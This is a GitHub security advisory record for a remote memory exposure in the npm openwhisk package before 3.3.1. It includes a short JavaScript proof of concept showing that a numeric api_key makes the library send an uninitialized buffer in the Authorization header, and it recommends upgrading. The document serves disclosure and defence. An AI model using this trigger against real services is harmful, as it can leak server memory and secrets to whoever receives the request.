GHSA-53mj-mc38-q894

Suggest an improvement
Source
https://github.com/advisories/GHSA-53mj-mc38-q894
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-53mj-mc38-q894/GHSA-53mj-mc38-q894.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-53mj-mc38-q894
Published
2020-09-01T19:40:41Z
Modified
2021-09-24T14:29:02Z
Summary
Remote Memory Exposure in openwhisk
Details

Versions of openwhisk before 3.3.1 are vulnerable to remote memory exposure.

When a number is passed to api_key, affected versions of openwhisk allocate an uninitialized buffer and send that over network in Authorization header (base64-encoded).

Proof of concept:

var openwhisk = require('openwhisk');
var options = {
  apihost: '127.0.0.1:1433', 
  api_key: USERSUPPLIEDINPUT // number
};
var ow = openwhisk(options);
ow.actions.invoke({actionName: 'sample'}).then(result => console.log(result))

Recommendation

Update to version 3.3.1 or later.

Database specific
{
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:29:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

npm / openwhisk

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.3.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-53mj-mc38-q894/GHSA-53mj-mc38-q894.json"